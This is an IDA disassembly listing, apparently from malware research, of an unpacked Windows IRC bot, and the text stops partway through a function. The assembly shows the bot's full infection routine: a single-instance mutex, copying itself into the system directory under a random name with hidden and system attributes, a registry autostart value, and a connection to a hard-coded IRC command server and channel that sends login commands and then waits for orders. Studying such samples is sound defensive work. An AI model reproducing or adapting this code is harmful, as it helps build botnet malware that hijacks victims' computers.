; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0C6434A1CEE3EF1C6D658602BA25F876 ; File Name : u:\work\0c6434a1cee3ef1c6d658602ba25f876_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00025E84 ( 155268.) ; Section size in file : 00025E84 ( 155268.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401000(char *Str) sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p ; sub_41835A+1Ep var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindsSerscAgts ; "Winds Sersc Agts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB608 ; RegCreateKeyExA cmp [ebp+Str], esi jz short loc_40104D push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push esi push ebx push [ebp+var_4] call dword_4CB678 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB5B8 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB630 ; RegCloseKey add edi, 8 cmp edi, offset aRb ; "rb" jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4010AB(char *Filename) sub_4010AB proc near ; CODE XREF: sub_4163FA+24Ap var_10 = dword ptr -10h Filename = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx ; Mode call _malloc mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+Filename] ; Filename mov esi, eax call _fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx ; Size push esi ; Src call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi ; File push 1 ; Count lea eax, [esi+ebx-1] push 1 ; ElementSize push eax ; DstBuf call _fread add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi ; File call _fclose add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: WinMain(x,x,x,x)+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h Dst = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E59C call dword_4CB6EC ; closesocket call sub_40B2C0 call dword_4CB5AC ; WSACleanup call dword_4CB5AC ; WSACleanup mov ebx, ds:dword_427078 push 64h call ebx ; Sleep xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_54] pop esi push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43D808 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_427070 ; GetModuleFileNameA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_42706C ; CreateProcessA test eax, eax jz short loc_4011E2 push 64h call ebx ; Sleep push [ebp+Dst] mov esi, ds:dword_427068 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D800 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_427064 ; ExitProcess pop edi pop esi pop ebx loc_401205: ; DATA XREF: .data:00429004o jmp $+5 push 0FFFFh push 539h call sub_418685 pop ecx mov dword_4CB390, eax pop ecx retn sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h Filename = byte ptr -6F4h Str = byte ptr -5F4h Ext = byte ptr -4F0h SubStr = byte ptr -3F0h FullPath = byte ptr -2ECh Dest = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h Source = byte ptr -0A0h Dst = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_40111D push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4270A8 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB394, eax call esi ; GetTickCount push eax call sub_41B8D8 pop ecx call sub_409B13 push 2 call dword_4CB700 ; SetErrorMode push 7530h push offset aQsfposs ; "qsfposs" push ebx push ebx call ds:dword_4270A4 ; CreateMutexA push eax call ds:dword_4270A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_4012A1 push 1 call ds:dword_427064 ; ExitProcess loc_4012A1: ; CODE XREF: WinMain(x,x,x,x)+76j lea eax, [ebp+var_884] push eax push 202h call dword_4CB5C4 ; WSAStartup cmp eax, ebx jnz loc_4017E4 cmp [ebp+var_884], 2 jnz loc_4017DE xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp+SubStr] push esi push eax call ds:dword_427074 ; GetSystemDirectoryA lea eax, [ebp+FullPath] push esi push eax push ebx call ds:dword_42709C ; GetModuleHandleA push eax call ds:dword_427070 ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push ebx ; Dir lea eax, [ebp+FullPath] push ebx ; Drive push eax ; FullPath call __splitpath add esp, 14h lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS ; "%s%s" lea eax, [ebp+Str] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+FullPath] push eax ; Str call _strstr add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset Str ; "nvigqyvja.exe" jz short loc_40139C push esi ; Str xor edi, edi call _strlen sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: WinMain(x,x,x,x)+179j call _rand push 1Ah cdq pop ecx idiv ecx push esi ; Str add dl, 61h mov byte ptr Str[edi], dl ; "nvigqyvja.exe" inc edi call _strlen sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: WinMain(x,x,x,x)+148j ; WinMain(x,x,x,x)+156j lea eax, [ebp+SubStr] push esi push eax lea eax, [ebp+Dest] push offset Format ; "%s\\%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax call ds:dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp+Dest] push 80h push eax call ds:dword_427094 ; SetFileAttributesA loc_4013DC: ; CODE XREF: WinMain(x,x,x,x)+1A7j mov esi, ds:dword_427090 lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] xor edi, edi push eax loc_4013F3: ; CODE XREF: WinMain(x,x,x,x)+209j call esi ; CopyFileA test eax, eax jnz short loc_40142C call ds:dword_42708C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: WinMain(x,x,x,x)+1E5j push 1 pop edi push 3A98h call ds:dword_427078 ; Sleep lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: WinMain(x,x,x,x)+1D6j ; WinMain(x,x,x,x)+1E0j ... lea eax, [ebp+Dest] push eax call sub_418294 pop ecx lea eax, [ebp+Dest] push 7 push eax call ds:dword_427094 ; SetFileAttributesA push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_E4] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset byte_43D808 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call ds:dword_427088 ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_427084 ; OpenProcess lea ecx, [ebp+FullPath] push ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_988] push offset aSDS ; "%s %d \"%s\"" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+SubStr] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+Dest] push eax call ds:dword_42706C ; CreateProcessA test eax, eax jz short loc_401516 push 0C8h call ds:dword_427078 ; Sleep push [ebp+Dst] mov esi, ds:dword_427068 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4CB5AC ; WSACleanup push ebx call ds:dword_427064 ; ExitProcess loc_401516: ; CODE XREF: WinMain(x,x,x,x)+137j ; WinMain(x,x,x,x)+2CBj cmp dword_4DB974, 2 jle short loc_401562 mov eax, dword_4DB978 push dword ptr [eax+4] ; Str call _atoi pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4270A0 ; WaitForSingleObject push esi call ds:dword_427068 ; CloseHandle mov eax, dword_4DB978 cmp [eax+8], ebx jz short loc_401562 push 7D0h call ds:dword_427078 ; Sleep mov eax, dword_4DB978 push dword ptr [eax+8] call ds:dword_427080 ; DeleteFileA loc_401562: ; CODE XREF: WinMain(x,x,x,x)+2FCj ; WinMain(x,x,x,x)+326j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB724, ebx jnz short loc_40157F lea eax, [ebp+Str] push eax ; Str call sub_401000 pop ecx loc_40157F: ; CODE XREF: WinMain(x,x,x,x)+347j ; WinMain(x,x,x,x)+34Fj lea eax, [ebp+Source] push offset asc_429A9C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push ebx ; int push eax ; Source call sub_40B0F7 lea eax, [ebp+Source] push eax call sub_4151AD push 0B80h ; Size push ebx ; Val push offset dword_43D810 ; Dst call _memset add esp, 24h lea eax, [ebp+Source] push offset asc_429A78 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 1 ; int push eax ; Source call sub_40B0F7 add esp, 14h mov esi, eax mov edi, ds:dword_42707C lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_419A01 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_401622 call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_429A38 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_401622: ; CODE XREF: WinMain(x,x,x,x)+3E4j lea eax, [ebp+Source] push eax call sub_4151AD push 2 call sub_40B33F pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp+Source] push offset asc_429A0C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 2 ; int push eax ; Source call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_4101FD push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz short loc_40169A call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4299D8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40169A: ; CODE XREF: WinMain(x,x,x,x)+45Cj lea eax, [ebp+Source] push eax call sub_4151AD pop ecx loc_4016A7: ; CODE XREF: WinMain(x,x,x,x)+418j call _rand push 7Fh ; Count and eax, 3 push offset Source ; "saber4.ircqforum.com" push offset Dest ; Dest mov dword_4CB508, eax call _strncpy mov eax, dword_42906C push 3Fh ; Count mov edi, offset byte_4CB41C push offset aFaak ; "#FAAK#" push edi ; Dest mov dword_4CB4EC, eax call _strncpy push 3Fh ; Count mov esi, offset byte_4CB45C push offset aSaad_ ; "saad." push esi ; Dest call _strncpy add esp, 24h mov dword_4CB4F0, ebx loc_4016FC: ; CODE XREF: WinMain(x,x,x,x)+563j ; WinMain(x,x,x,x)+56Ej ... mov [ebp+var_4], ebx loc_4016FF: ; CODE XREF: WinMain(x,x,x,x)+517j push offset dword_4CB398 mov dword_4CB504, ebx call sub_4017ED cmp eax, 2 mov [ebp+var_10], eax jz loc_4017D9 cmp dword_4CB504, ebx jz short loc_401726 dec [ebp+var_4] loc_401726: ; CODE XREF: WinMain(x,x,x,x)+500j push 0BB8h call ds:dword_427078 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4016FF cmp [ebp+var_10], 2 jz loc_4017D9 cmp [ebp+var_C], ebx jz short loc_401789 push 7Fh ; Count push offset Source ; "saber4.ircqforum.com" push offset Dest ; Dest call _strncpy mov eax, dword_42906C push 3Fh ; Count push offset aFaak ; "#FAAK#" push edi ; Dest mov dword_4CB4EC, eax call _strncpy push 3Fh ; Count push offset aSaad_ ; "saad." push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: WinMain(x,x,x,x)+526j cmp byte_4290E8, bl jz loc_4016FC push 7Fh ; Count push offset byte_4290E8 ; Source push offset Dest ; Dest call _strncpy mov eax, dword_429070 push 3Fh ; Count push offset aFaak_0 ; "#FAAK#" push edi ; Dest mov dword_4CB4EC, eax call _strncpy push 3Fh ; Count push offset aSaad__0 ; "saad." push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: WinMain(x,x,x,x)+4F4j ; WinMain(x,x,x,x)+51Dj call sub_40B2C0 loc_4017DE: ; CODE XREF: WinMain(x,x,x,x)+A1j ; WinMain(x,x,x,x)+B1j call dword_4CB5AC ; WSACleanup loc_4017E4: ; CODE XREF: WinMain(x,x,x,x)+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p ; DATA XREF: sub_401ACD+662Bo var_190 = dword ptr -190h Args = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h Dest = byte ptr -2Ch Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4CB654 ; htons mov [ebp+var_E], ax lea eax, [ebp+Args] push eax call sub_40AAFA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch ; Size lea eax, [ebp+Dest] push 0 ; Val push eax ; Dst call _memset push 0 ; Str1 lea eax, [ebp+Dest] push dword_4290A0 ; int push dword_42909C ; int push eax ; Dest call sub_40B08E mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh ; Count add eax, offset byte_43E5A8 push edi ; Source push eax ; Dest call _strncpy add esp, 28h push 6 push 1 push 2 call dword_4CB6D4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E59C[eax], esi lea eax, [ebp+Dst] push eax push esi call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB6EC ; closesocket call sub_40AB23 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call ds:dword_427078 ; Sleep jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+Args] push eax ; Args push offset asc_429AD4 ; "-" call sub_415221 push [ebp+var_38] lea eax, [ebp+Args] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB6EC ; closesocket test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B413 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p Dst = byte ptr -1A90h var_A90 = dword ptr -0A90h var_2C0 = dword ptr -2C0h var_140 = dword ptr -140h Str = byte ptr -0A0h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call __alloca_probe push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB500, bl jz short loc_40199A push offset byte_4CB500 ; Args push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] ; int call sub_409A2D add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+Source] lea eax, [ebp+Dest] push ebx ; Str1 push ebx ; int push 2 ; int push eax ; Dest call sub_40B08E add esp, 10h push eax lea eax, [ebp+Str] push [ebp+Source] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB6EC ; closesocket push 1388h call ds:dword_427078 ; Sleep loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+Dst] push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4CB66C ; recv test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_417F80 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] ; int lea eax, [ebp+var_8] push esi ; File push eax ; int lea eax, [ebp+var_140] push eax ; int lea eax, [ebp+var_2C0] push eax ; int push [ebp+arg_18] ; int push [ebp+Source] ; Source push [ebp+arg_8] ; int push [ebp+arg_4] ; int push [ebp+arg_0] ; int push dword ptr [edi] ; Src call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call ds:dword_427078 ; Sleep jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401ACD(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int) sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D98 = dword ptr -5D98h var_5D88 = dword ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h Dest = byte ptr -50F4h FullPath = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = dword ptr -45ECh var_4588 = byte ptr -4588h Str = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch Filename = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr 